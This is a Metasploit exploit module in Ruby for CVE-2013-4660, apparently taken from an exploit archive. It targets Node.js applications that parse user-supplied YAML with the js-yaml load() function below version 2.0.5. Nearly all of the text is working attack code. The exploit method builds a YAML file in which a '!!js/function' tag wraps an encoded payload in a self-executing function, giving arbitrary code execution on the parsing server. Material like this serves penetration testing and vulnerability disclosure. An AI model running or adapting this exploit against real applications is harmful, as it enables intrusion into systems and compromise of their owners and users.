For node.js applications that parse user-supplied YAML input using the load() function from the 'js-yaml' package versions below 2.0.5, specifying a self-executing function allows us to execute arbitrary javascript code. This Metasploit module demonstrates that behavior.
cc5320d102ad2ea9d6b424995476c2aab54c6ea13234fab7e8cf266af00a87a5
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'Nodejs js-yaml load() Code Exec',
'Description' => %q{
For node.js applications that parse user-supplied YAML input using the
load() function from the 'js-yaml' package < 2.0.5, specifying a self-executing
function allows us to execute arbitrary javascript code.
},
'Author' => ['joev <jvennix[at]rapid7.com>'],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2013-4660'],
['URL', 'https://nealpoole.com/blog/2013/06/code-execution-via-yaml-in-js-yaml-nodejs-module/']
],
'Platform' => 'nodejs',
'Arch' => ARCH_NODEJS,
'Privileged' => false,
'Targets' => [['Automatic', {}]],
'DisclosureDate' => 'Jun 28 2013',
'DefaultTarget' => 0))
register_options([
OptString.new('FILENAME', [ true, 'The file name.', 'msf.yml'])
], self.class)
end
def exploit
p = payload.encoded
print_status("Creating '#{datastore['FILENAME']}' file...")
file_create("a: !!js/function >\n (function(){ #{p} })();")
end
end